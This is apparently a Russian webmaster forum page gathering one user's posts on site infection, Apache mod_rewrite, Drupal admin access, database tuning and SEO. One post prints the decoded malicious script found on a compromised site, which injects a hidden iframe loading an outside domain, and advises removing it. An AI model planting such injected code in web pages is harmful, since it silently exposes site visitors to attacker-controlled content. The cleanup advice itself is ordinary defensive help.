temmokan

temmokan
Рейтинг
111
Регистрация
18.08.2008
Должность
Системный администратор
Программист, писатель, системный администратор
silverspam:
перерыл все файлы. Последние изменения в файлах на хостинге датированы 28.11.10, а беда началась когда-то в последние два дня.

Из-за хостинга может быть такое? Каким образом?
И еще интересно было бы узнать какой хостинг у ТС :)

Если хостинг shared, то вполне возможно массовое "заражение" сайтов разнообразными подобными вставками, видел такое неоднкратно, пока сам сидел на shared. Что они конкретно исполняют, одному богу известно - от накрутки счётчиков до DDoS.

Ищите, уничтожайте, жалуйтесь хостеру упомянутого домена - в общем, действуйте. Но вначале сообщите тех.поддержке вашего хостера. С удалением такого кода медлить не советую.

Упомянутый код исполняет вот это:

if (document.getElementsByTagName('body')[0]){
iframer();
} else {
var bdy = document.createElement("body");
try {
document.appendChild(bdy);
} catch (e) {
document.body = bdy;
}
if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("<iframe src='http://picheta.net/main.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
}
function iframer(){
var f = document.createElement('iframe');f.setAttribute('src','http://picheta.net/main.php');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}

Иными словами, вставляет iframe с адресом на http:// picheta.net / main.php

Выясняйте дальше, чем это опасно. Но открывать этот адрес в браузере очень не советую.

temmokan, я почитала, попробовала разные варианты, не хочет, поэтому и спрашиваю, вдруг кто подскажет, что точно надо прописать, а то уже замучилась. Надо sks/molex/catalog/UTP/ преобразовать в sks/molex/catalog/UTP_kabel_unshielded_twisted_pair.

RewriteEngine On

RewriteRule ^sks/molex/catalog/UTP/$ sks/molex/catalog/UTP_kabel_unshielded_twisted_pair [L]

Если выдаёт 404, то два вопроса: по какому адресу обращаетесь,

http://example.com/sks/molex/catalog/UTP

или

http://example.com/sks/molex/catalog/UTP/

и - существует ли адресат, т.е.

http://example.com/sks/molex/catalog/UTP_kabel_unshielded_twisted_pair

(не выдаёт ли он 404)

Если http://example.com/sks/molex/catalog/UTP - каталог (не файл), и при обращении к нему выдаётся 404, а по http://example.com/sks/molex/catalog/UTP/ выдаётся то, что нужно (индексный файл или список элементов), то, возможно. следует воспользоваться такой конструкцией:

RewriteEngine On

RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^(.+[^/])$ $1/ [R]

(если адрес не заканчивается слэшем, и нет такого файла, то перенаправит сервер на тот же адрес с добавленным слэшем)

Телепаты, как всегда, в отпуске. Дайте пример - что во что преобразовать. И да, есть много справочников.

http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html

http://httpd.apache.org/docs/2.0/misc/rewriteguide.html

На русском языке, навскидку:

http://www.opennet.ru/base/dev/mod_rewrite_guide.txt.html

Ervin:
LEOnidUKG, мой вариант определённо первый - допилить готовое решение менее затратно - во всех смыслах - чем делать с нуля...
temmokan, спасибо, если потребуется - обязательно :)

Буду рад помочь.

BTW, Друпал хоть и не самое лёгкое приложение, но у меня накоплен неплохой опыт оптимизации VDS/DS под него. Удачи!

zagugel:
А тут и я с Вами согласен.
поэтому на коленке появился такой документ: http://infiumhost.com/documents/reglament/
(даже в индексах нету, теперь будет)

Вот, именно то, что было нужно. Единственное, что 12 часов не всегда разумное время (пример: сдохло "железо" выделенного сервера или упала связность - ожидать даунтайма вплоть до 12 часов?). Опять же основываясь на опыте работы со службами поддержки: там бывает маркировка запроса как "экстренный" - с пояснением огромными красными буквами: использовать только в случае (перечислены случаи), иначе вам будет выставлен счёт на столько-то лямов за срочность.

Исследуйте отдельно вопрос оптимизации настройки самой СУБД - my.cnf, то есть.

Если есть возможность, изучите, что сообщает, например, tuning-primer.sh.

Страница для регистрации пользователя на Drupal-сайтах:

http://example.com/user или http://example.com/?q=user

после успешной авторизации админка доступна как

http://example.com/admin или http://example.com/?q=admin

Если пароль не подходит, то откройте phpMyAdmin (или подключитесь из командной строки) и в таблице users замените поле pass для uid=1 (заодно увидите имя пользователя администратора), в поле pass поместите md5-хэш пароля

Если нет под рукой возможности сосчитать md5, это можно сделать, например, тут

http://www.adamek.biz/md5-generator.php

Работал со следующими службами:

XSbackup.com

ServerOrigin.com

Обеими доволен, цены также вполне умеренные.

Savant:
Спасибо, я так понимаю убрать выделение ключевиков ?

И это тоже. Посмотрите на сайты успешных конкурентов, это неплохо помогает понять, почему у вас не задерживаются.

И - прошерстите все тексты. Орфографию и синтаксис. Посмотрел, и с ходу:

Через две недели после обращения в компанию Абсолют в ваших на руках

будет пакет документов новой зарегистрированной фирмы и вы получите законное
право заниматься коммерческой деятельностью.

Подчёркнутое вас не удивляет?

Всего: 172